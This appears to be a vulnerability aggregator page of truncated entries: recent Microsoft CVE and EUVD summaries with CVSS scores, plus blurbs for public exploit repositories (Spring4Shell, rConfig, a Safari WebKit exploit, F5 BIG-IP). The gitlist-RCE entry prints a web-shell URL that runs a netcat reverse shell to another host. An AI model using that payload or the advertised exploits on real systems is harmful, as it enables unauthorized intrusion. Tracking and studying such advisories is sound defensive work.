CVE-2026-68785

Microsoft SQL Server is affected by a heap-based buffer overflow that allows an authorized attacker (high privileges required) to execute code over a network. The CVSS v3.1 score is 4.9 (Medium) , reflecting a network attack vector with low complexity, high privileges required, and no user intera...

CVE-2026-67631

CVE-2026-67631 is a heap-based buffer overflow in Microsoft SQL Server that allows an authorized (low-privilege) attacker to achieve remote code execution over the network. The vulnerability carries a CVSS 3.1 score of 8.8 (HIGH) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating hi...

CVE-2026-55007

CVE-2026-55007 is a double free vulnerability in Microsoft Exchange Server that allows an unauthorized, unauthenticated attacker to achieve remote code execution over the network. The vulnerability is rated CVSS 8.1 (HIGH) with a vector of AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, meaning exploitation...

CVE-2026-77482

CVE-2026-77482 is a heap-based buffer overflow in Microsoft SQL Server that allows an unauthorized attacker to achieve remote code execution over a network. The CVSS 3.1 score is 8.8 (High) with vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, indicating low attack complexity but required user interac...

EUVD-2026-73175

Heap-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network...

EUVD-2026-73172

Concurrent execution using shared resource with improper synchronization 'race condition' in DNS Server allows an unauthorized attacker to execute code over a network...

CVE-2026-69782

Windows DNS Server is affected by a race condition caused by concurrent execution using a shared resource with improper synchronization. This flaw allows an unauthorized attacker to achieve remote code execution over the network with no privileges required , though the attack complexity is rated ...

CVE-2026-69522

Heap-based buffer overflow in Visual Studio allows an unauthorized attacker to execute code over a network...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell Disclaimer: This repository is intended for educational and research purposes only. All exploit scripts must be used exclusively against systems you own or have explicit written permission to test. The author is not responsible for any misuse or damage caused by...

CVE-2026-69522

This is a heap-based buffer overflow in Visual Studio (and .NET , per the CVE record) that enables an unauthorized, remote attacker to achieve code execution over a network. The CVSS 3.1 base score is 8.8 (High) with an attack vector of network , low complexity, no privileges required, but user i...

EUVD-2026-73167

Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network...

CVE-2026-62706

CVE-2026-62706 is an out-of-bounds read in Microsoft Windows Media Foundation that allows an unauthorized attacker to execute code over a network. The CVSS 3.1 score is 8.8 (HIGH) with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H , meaning exploitation requires user interaction but no prior au...

CVE-2019-16662

CVE-2019-16662 The official exploit for rConfig 3.9.2 Remote Code Execution CVE-2019-16662...

gitlist-RCE

gitlist-RCE CVE-2014-4511 example: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

WebKit-Bug-256172

WebKit-Bug-256172 Safari 1day RCE Exploit, might be patched in iOS 16.5.1/macOS 13.4.1 Confirmed exploit works on macOS 13.3.1, iOS 15.8.2. Description Currently only works on macOS 13.0.1 x8664 due to hardcoded offsets. Implemented addrof/fakeobj, r/w primitive Patch...

CVE-2022-22965

Spring4ShellCVE-2022-22965 RCE en Spring Framework mediante enlace de datos en JDK 9+ / spring4shell / CVE-2022-22965 Spring4ShellCVE-2022-22965 Demo del Exploit https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4 Construcción root@kitploit: docke...

CVE-2022-22963

Spring Cloud Function VulnerabilityCVE-2022-22963 Vulnerable Application to CVE-2022-22963 CVE-2022-22963 Exploit Demo https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 Build root@kitploit: docker pull me2nuk/cves:2022-22963 docker run -it -p...

CVE-2022-41853

Research into CVE-2022-41853: Using static functions to obtian RCE via Java Deserialization & Remote Codebase Attack Those using java.sql.Statement or java.sql.PreparedStatement in hsqldb HyperSQL DataBase to process untrusted input may be vulnerable to a remote code execution attack. By default ...

CVE-2017-9841

CVE-2017-9841 CVE-2017-9841 detector script by Massimiliano Brasile WHAT HAPPENED January 6th, 2020 I was advised of a security issue apparently affecting most versions of PrestaShop the warning was shared by PS team only internally on 3rd January 2020. After some digging, I have discovered the...

CVE-2025-20029

CVE-2025-20029: Command Injection in TMSH CLI in F5 BIG-IP A command injection vulnerability exists in the F5 “tmsh” restricted CLI which allows an authenticated attacker to leverage the commands accessible by a low privilege user in order to bypass restrictions, inject arbitrary commands and...